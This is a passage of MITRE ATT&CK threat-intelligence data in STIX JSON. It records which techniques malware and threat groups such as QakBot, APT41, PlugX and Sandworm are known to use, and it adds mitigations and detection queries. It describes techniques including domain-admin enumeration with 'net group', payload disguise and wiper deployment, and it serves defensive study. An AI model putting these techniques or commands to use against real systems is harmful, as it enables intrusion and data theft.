2020)","relationship_type":"uses","source_ref":"malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9","target_ref":"attack-pattern--02c5abff-30bf-4703-ab92-1f6072fae939","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2ea4f604-c23b-4d67-8648-f2c170378e78","created":"2024-07-01T15:44:07.898Z","revoked":false,"external_references":[{"source_name":"apt41_dcsocytec_dec2022","description":"DCSO CyTec Blog. (2022, December 24). APT41 — The spy who failed to encrypt me. Retrieved June 13, 2024.","url":"https://medium.com/@DCSO_CyTec/apt41-the-spy-who-failed-to-encrypt-me-24fc0f49cad1"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-01T15:44:07.898Z","description":"[APT41](https://attack.mitre.org/groups/G0096) has used MiPing to discover active systems in the victim network.(Citation: apt41_dcsocytec_dec2022) ","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--2ea75990-7349-4d67-8ec1-f4168792af23","created":"2022-08-16T17:58:28.329Z","x_mitre_version":"0.1","external_references":[{"source_name":"Unit 42 PingPull Jun 2022","url":"https://unit42.paloaltonetworks.com/pingpull-gallium/","description":"Unit 42. (2022, June 13). GALLIUM Expands Targeting Across Telecommunications, Government and Finance Sectors With New PingPull Tool. Retrieved August 7, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[PingPull](https://attack.mitre.org/software/S1031) can collect data from a compromised host.(Citation: Unit 42 PingPull Jun 2022)","modified":"2022-08-16T17:58:28.329Z","relationship_type":"uses","source_ref":"malware--3a0f6128-0a01-421d-8eca-e57d8671b1f1","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2eae8ade-1ddb-41d4-82cc-572b1158c06c","type":"relationship","created":"2021-06-11T19:53:34.578Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Malwarebytes Kimsuky June 2021","url":"https://blog.malwarebytes.com/threat-analysis/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor/","description":"Jazi, H. (2021, June 1). Kimsuky APT continues to target South Korean government using AppleSeed backdoor. Retrieved June 10, 2021."}],"modified":"2021-06-11T19:53:34.578Z","description":"[AppleSeed](https://attack.mitre.org/software/S0622) can identify the IP of a targeted system.(Citation: Malwarebytes Kimsuky June 2021)","relationship_type":"uses","source_ref":"malware--295721d2-ee20-4fa3-ade3-37f4146b4570","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2eaea386-ee0f-42c4-bca1-ce2d22062f98","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage","description":"Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.","source_name":"Dell TG-3390"}],"modified":"2019-04-19T15:08:16.037Z","description":"[PlugX](https://attack.mitre.org/software/S0013) can be configured to use raw TCP or UDP for command and control.(Citation: Dell TG-3390)","relationship_type":"uses","source_ref":"malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd","target_ref":"attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2eb32b46-9833-4391-b282-c7ee10bbfc62","created":"2022-12-22T18:42:46.433Z","revoked":false,"external_references":[{"source_name":"Mandiant APT41","description":"Rufus Brown, Van Ta, Douglas Bienstock, Geoff Ackerman, John Wolfram. (2022, March 8). Does This Look Infected? A Summary of APT41 Targeting U.S. State Governments. Retrieved July 8, 2022.","url":"https://www.mandiant.com/resources/apt41-us-state-governments"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-12-22T18:42:46.433Z","description":"[DEADEYE](https://attack.mitre.org/software/S1052) can enumerate a victim computer's volume serial number and host name.(Citation: Mandiant APT41)","relationship_type":"uses","source_ref":"malware--c46eb8e6-bf29-4696-8008-3ddb0b4ca470","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2eb71541-0483-4761-a839-17e19f75aab1","type":"relationship","created":"2022-03-30T14:26:51.861Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.861Z","description":"Monitor for API calls that may attempt to gather information about attached peripheral devices and components connected to a computer system.","source_ref":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","target_ref":"attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2eb985a1-e73e-4554-8638-2e6f27690ec0","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"AlienVault Sykipot 2011","description":"Blasco, J. (2011, December 12). Another Sykipot sample likely targeting US federal agencies. Retrieved March 28, 2016.","url":"https://www.alienvault.com/open-threat-exchange/blog/another-sykipot-sample-likely-targeting-us-federal-agencies"}],"modified":"2020-03-18T20:46:32.465Z","description":"[Sykipot](https://attack.mitre.org/software/S0018) may use net group \"domain admins\" /domain to display accounts in the \"domain admins\" permissions group and net localgroup \"administrators\" to list local system administrator group membership.(Citation: AlienVault Sykipot 2011)","relationship_type":"uses","source_ref":"malware--6a0ef5d4-fc7c-4dda-85d7-592e4dbdc5d9","target_ref":"attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2ebbb8a5-a5f2-495d-bdf3-c49701edb26b","type":"relationship","created":"2020-02-18T18:34:49.716Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://technet.microsoft.com/library/cc755321.aspx","description":"Microsoft. (2014, November 19). Security Considerations for Trusts. Retrieved November 30, 2017.","source_name":"Microsoft Trust Considerations Nov 2014"},{"url":"https://technet.microsoft.com/library/cc794757.aspx","description":"Microsoft. (n.d.). Configuring SID Filter Quarantining on External Trusts. Retrieved November 30, 2017.","source_name":"Microsoft SID Filtering Quarantining Jan 2009"},{"url":"https://technet.microsoft.com/library/cc835085.aspx","description":"Microsoft. (2012, September 11). Command-Line Reference - Netdom Trust. Retrieved November 30, 2017.","source_name":"Microsoft Netdom Trust Sept 2012"},{"url":"https://adsecurity.org/?p=1640","description":"Metcalf, S. (2015, August 7). Kerberos Golden Tickets are Now More Golden. Retrieved December 1, 2017.","source_name":"AdSecurity Kerberos GT Aug 2015"}],"modified":"2021-02-09T15:49:58.567Z","description":"Clean up SID-History attributes after legitimate account migration is complete.\n\nConsider applying SID Filtering to interforest trusts, such as forest trusts and external trusts, to exclude SID-History from requests to access domain resources. SID Filtering ensures that any authentication requests over a trust only contain SIDs of security principals from the trusted domain (i.e preventing the trusted domain from claiming a user has membership in groups outside of the domain).\n\nSID Filtering of forest trusts is enabled by default, but may have been disabled in some cases to allow a child domain to transitively access forest trusts. SID Filtering of external trusts is automatically enabled on all created external trusts using Server 2003 or later domain controllers. (Citation: Microsoft Trust Considerations Nov 2014) (Citation: Microsoft SID Filtering Quarantining Jan 2009) However note that SID Filtering is not automatically applied to legacy trusts or may have been deliberately disabled to allow inter-domain access to resources.\n\nSID Filtering can be applied by: (Citation: Microsoft Netdom Trust Sept 2012)\n\n* Disabling SIDHistory on forest trusts using the netdom tool (netdom trust /domain: /EnableSIDHistory:no on the domain controller)\n\n* Applying SID Filter Quarantining to external trusts using the netdom tool (netdom trust /domain: /quarantine:yes on the domain controller)\n\n* Applying SID Filtering to domain trusts within a single forest is not recommended as it is an unsupported configuration and can cause breaking changes. (Citation: Microsoft Netdom Trust Sept 2012) (Citation: AdSecurity Kerberos GT Aug 2015) If a domain within a forest is untrustworthy then it should not be a member of the forest. In this situation it is necessary to first split the trusted and untrusted domains into separate forests where SID Filtering can be applied to an interforest trust","relationship_type":"mitigates","source_ref":"course-of-action--e3388c78-2a8d-47c2-8422-c1398b324462","target_ref":"attack-pattern--b7dc639b-24cd-482d-a7f1-8897eda21023","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2ebf0505-4b0a-4e17-b303-b860585f7c11","type":"relationship","created":"2021-12-02T15:20:09.433Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos TinyTurla September 2021","url":"https://blog.talosintelligence.com/2021/09/tinyturla.html","description":"Cisco Talos. (2021, September 21). TinyTurla - Turla deploys new malware to keep a secret backdoor on victim machines. Retrieved December 2, 2021."}],"modified":"2021-12-02T15:20:09.433Z","description":"[TinyTurla](https://attack.mitre.org/software/S0668) can install itself as a service on compromised machines.(Citation: Talos TinyTurla September 2021)","relationship_type":"uses","source_ref":"malware--2a7c1bb7-cd12-456e-810d-ab3bf8457bab","target_ref":"attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2ecdcdb3-6aa2-4888-921f-e9506ebbd00c","type":"relationship","created":"2021-12-07T18:39:06.274Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Gigamon Berserk Bear October 2021","url":"https://vblocalhost.com/uploads/VB2021-Slowik.pdf","description":"Slowik, J. (2021, October). THE BAFFLING BERSERK BEAR: A DECADE’S ACTIVITY TARGETING CRITICAL INFRASTRUCTURE. Retrieved December 6, 2021."}],"modified":"2021-12-07T18:39:06.274Z","description":"[Dragonfly](https://attack.mitre.org/groups/G0035) has exploited CVE-2011-0611 in Adobe Flash Player to gain execution on a targeted system.(Citation: Gigamon Berserk Bear October 2021)","relationship_type":"uses","source_ref":"intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1","target_ref":"attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2ed3ed76-7ebe-4371-a7e9-cc5a45ace915","type":"relationship","created":"2019-01-30T13:28:47.831Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Xiao, C. (2018, September 17). Xbash Combines Botnet, Ransomware, Coinmining in Worm that Targets Linux and Windows. Retrieved November 14, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/","source_name":"Unit42 Xbash Sept 2018"}],"modified":"2019-06-28T15:15:54.445Z","description":"[Xbash](https://attack.mitre.org/software/S0341) can use mshta for executing scripts.(Citation: Unit42 Xbash Sept 2018)","relationship_type":"uses","source_ref":"malware--6a92d80f-cc65-45f6-aa66-3cdea6786b3c","target_ref":"attack-pattern--840a987a-99bd-4a80-a5c9-0cb2baa6cade","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2ed3f52b-eb91-40a0-9a15-ccce39878f25","created":"2022-03-30T14:26:51.832Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-20T16:49:29.072Z","description":"Monitor for changes made to AD settings for unexpected modifications to user accounts, such as deletions or potentially malicious changes to user attributes (credentials, status, etc.).\n\nAnalytic 1 - Unusual password change operations\n\n index=\"m365_audit_logs\" Operation=\"Change user password\"\n| stats count by Actor, TargetUser\n| where Actor!=\"expected_actor\" AND TargetUser!=\"expected_target_user\"","relationship_type":"detects","source_ref":"x-mitre-data-component--5b8b466b-2c81-4fe7-946f-d677a74ae3db","target_ref":"attack-pattern--b24e2a20-3b3d-4bf0-823b-1ed765398fb0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2ed4e002-fe79-4ea9-94e6-d05d1c5358a9","created":"2024-03-27T20:13:07.629Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant-Sandworm-Ukraine-2022","description":"Ken Proska, John Wolfram, Jared Wilson, Dan Black, Keith Lunden, Daniel Kapellmann Zafra, Nathan Brubaker, Tyler Mclellan, Chris Sistrunk. (2023, November 9). Sandworm Disrupts Power in Ukraine Using a Novel Attack Against Operational Technology. Retrieved March 28, 2024.","url":"https://www.mandiant.com/resources/blog/sandworm-disrupts-power-ukraine-operational-technology"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-17T15:18:48.530Z","description":"During the [2022 Ukraine Electric Power Attack](https://attack.mitre.org/campaigns/C0034), [Sandworm Team](https://attack.mitre.org/groups/G0034) utilized a PowerShell utility called TANKTRAP to spread and launch a wiper using Windows Group Policy.(Citation: Mandiant-Sandworm-Ukraine-2022)","relationship_type":"uses","source_ref":"campaign--df8eb785-70f8-4300-b444-277ba849083d","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--2ed8a8c7-2b1b-4bac-bc35-4d4fad2284b7","created":"2022-03-30T14:26:51.843Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor processes for unexpected termination related to security tools/services. Specifically, before execution of ransomware, monitor for rootkit tools, such as GMER, PowerTool or TDSSKiller, that may detect and terminate hidden processes and the host antivirus software.\n","modified":"2022-05-31T21:53:09.321Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--61f1d40e-f3d0-4cc6-aa2d-937b6204194f","target_ref":"attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--2ed90af5-43e7-4c81-b03d-6d4b54988d75","created":"2022-06-15T15:17:30.412Z","x_mitre_version":"0.1","external_references":[{"source_name":"Kaspersky Lyceum October 2021","url":"https://vblocalhost.com/uploads/VB2021-Kayal-etal.pdf","description":"Kayal, A. et al. (2021, October). LYCEUM REBORN: COUNTERINTELLIGENCE IN THE MIDDLE EAST. Retrieved June 14, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[HEXANE](https://attack.mitre.org/groups/G1001) has used a scheduled task to establish persistence for a keylogger.(Citation: Kaspersky Lyceum October 2021)","modified":"2022-06-15T15:17:30.412Z","relationship_type":"uses","source_ref":"intrusion-set--f29b7c5e-2439-42ad-a86f-9f8984fafae3","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2ed969c0-be8f-43d1-8226-1009faefaa20","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT10 Sept 2018","description":"Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.","url":"https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html"}],"modified":"2020-03-17T02:46:42.684Z","description":"[UPPERCUT](https://attack.mitre.org/software/S0275) has the capability to collect the current logged on user’s username from a machine.(Citation: FireEye APT10 Sept 2018)","relationship_type":"uses","source_ref":"malware--fb4e3792-e915-4fdd-a9cd-92dfa2ace7aa","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2ede8fe4-0a44-4c31-ba4c-d3282d57b4b8","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/quasar/QuasarRAT","description":"MaxXor. (n.d.). QuasarRAT. Retrieved July 10, 2018.","source_name":"GitHub QuasarRAT"},{"url":"https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/","description":"Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018.","source_name":"Volexity Patchwork June 2018"}],"modified":"2020-03-16T17:36:34.190Z","description":"[QuasarRAT](https://attack.mitre.org/software/S0262) has a built-in keylogger.(Citation: GitHub QuasarRAT)(Citation: Volexity Patchwork June 2018)","relationship_type":"uses","source_ref":"tool--da04ac30-27da-4959-a67d-450ce47d9470","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2ee0c642-94af-491c-bc65-821e13586bca","created":"2022-10-18T22:11:29.210Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-18T22:11:29.210Z","description":"Anti-virus can be used to automatically detect and quarantine suspicious files.","relationship_type":"mitigates","source_ref":"course-of-action--a6a47a06-08fc-4ec4-bdc3-20373375ebb9","target_ref":"attack-pattern--0533ab23-3f7d-463f-9bd8-634d27e4dee1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2ee6e8e6-914a-4639-88cc-39c01de5d541","created":"2023-03-02T18:45:34.969Z","revoked":false,"external_references":[{"source_name":"Sophos BlackCat Jul 2022","description":"Brandt, Andrew. (2022, July 14). BlackCat ransomware attacks not merely a byproduct of bad luck. Retrieved December 20, 2022.","url":"https://news.sophos.com/en-us/2022/07/14/blackcat-ransomware-attacks-not-merely-a-byproduct-of-bad-luck/"},{"source_name":"Microsoft BlackCat Jun 2022","description":"Microsoft Defender Threat Intelligence. (2022, June 13). The many lives of BlackCat ransomware. Retrieved December 20, 2022.","url":"https://www.microsoft.com/en-us/security/blog/2022/06/13/the-many-lives-of-blackcat-ransomware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-02T18:45:34.969Z","description":"[BlackCat](https://attack.mitre.org/software/S1068) has the ability to stop VM services on compromised networks.(Citation: Microsoft BlackCat Jun 2022)(Citation: Sophos BlackCat Jul 2022)","relationship_type":"uses","source_ref":"malware--50c44c34-3abb-48ae-9433-a2337de5b0bc","target_ref":"attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2ee78986-9275-4248-9fde-125c3312b657","type":"relationship","created":"2020-07-01T20:27:58.429Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MacKeeper Bundlore Apr 2019","url":"https://mackeeper.com/blog/post/610-macos-bundlore-adware-analysis/","description":"Sushko, O. (2019, April 17). macOS Bundlore: Mac Virus Bypassing macOS Security Features. Retrieved June 30, 2020."}],"modified":"2020-07-01T21:30:17.318Z","description":"[Bundlore](https://attack.mitre.org/software/S0482) has been spread through malicious advertisements on websites.(Citation: MacKeeper Bundlore Apr 2019)","relationship_type":"uses","source_ref":"malware--7bef1b56-4870-4e74-b32a-7dd88c390c44","target_ref":"attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2ee79b97-c59e-40db-a5cb-6d2b2e3189a2","type":"relationship","created":"2022-03-30T14:26:51.858Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.858Z","description":"Monitor network data flows for unexpected patterns and metadata that may be indicative of a mismatch between protocol and utilized port.","source_ref":"x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a","target_ref":"attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2eea60ff-d673-49aa-b360-49cc32763ff1","type":"relationship","created":"2021-03-19T13:19:57.043Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Muddy Water March 2021","url":"https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html","description":"Peretz, A. and Theck, E. (2021, March 5). Earth Vetala – MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021."}],"modified":"2021-04-25T23:34:23.666Z","description":"[Out1](https://attack.mitre.org/software/S0594) can use native command line for execution.(Citation: Trend Micro Muddy Water March 2021)","relationship_type":"uses","source_ref":"tool--80c815bb-b24a-4b9c-9d73-ff4c075a278d","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2eec8dea-fea0-4958-b851-3e549578348f","created":"2023-04-10T19:36:22.276Z","revoked":false,"external_references":[{"source_name":"Mandiant APT41","description":"Rufus Brown, Van Ta, Douglas Bienstock, Geoff Ackerman, John Wolfram. (2022, March 8). Does This Look Infected? A Summary of APT41 Targeting U.S. State Governments. Retrieved July 8, 2022.","url":"https://www.mandiant.com/resources/apt41-us-state-governments"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-10T19:36:22.276Z","description":"\nThe DEADEYE.EMBED variant of [DEADEYE](https://attack.mitre.org/software/S1052) has the ability to embed payloads inside of a compiled binary.(Citation: Mandiant APT41)","relationship_type":"uses","source_ref":"malware--c46eb8e6-bf29-4696-8008-3ddb0b4ca470","target_ref":"attack-pattern--0533ab23-3f7d-463f-9bd8-634d27e4dee1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2ef7a9cd-aba5-4360-9a8f-f6b58ff4492d","type":"relationship","created":"2020-05-06T21:31:07.593Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Okrum July 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/07/ESET_Okrum_and_Ketrican.pdf","description":"Hromcova, Z. (2019, July). OKRUM AND KETRICAN: AN OVERVIEW OF RECENT KE3CHANG GROUP ACTIVITY. Retrieved May 6, 2020."}],"modified":"2020-05-06T21:31:07.594Z","description":"To establish persistence, [Okrum](https://attack.mitre.org/software/S0439) can install itself as a new service named NtmSsvc.(Citation: ESET Okrum July 2019)","relationship_type":"uses","source_ref":"malware--4b6ec280-7bbb-48ff-ae59-b189520ebe83","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2ef7ec01-8704-4c94-9949-c3239167f93b","created":"2021-10-13T17:31:53.827Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Group IB Ransomware September 2020","description":"Group IB. (2020, September). LOCK LIKE A PRO. Retrieved September 27, 2021.","url":"https://groupib.pathfactory.com/ransomware-reports/prolock_wp"},{"source_name":"Trend Micro Black Basta October 2022","description":"Kenefick, I. et al. (2022, October 12). Black Basta Ransomware Gang Infiltrates Networks via QAKBOT, Brute Ratel, and Cobalt Strike. Retrieved February 6, 2023.","url":"https://www.trendmicro.com/en_us/research/22/j/black-basta-infiltrates-networks-via-qakbot-brute-ratel-and-coba.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-13T23:53:03.282Z","description":"The [QakBot](https://attack.mitre.org/software/S0650) payload has been disguised as a PNG file and hidden within LNK files using a Microsoft File Explorer icon.(Citation: Group IB Ransomware September 2020)(Citation: Trend Micro Black Basta October 2022)","relationship_type":"uses","source_ref":"malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9","target_ref":"attack-pattern--208884f1-7b83-4473-ac22-4e1cf6c41471","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2ef81f55-666f-4736-8334-f8fa56349c75","type":"relationship","created":"2022-03-30T14:26:51.873Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.873Z","description":"Monitor for networks that solicits and obtains the configuration information of the queried device. 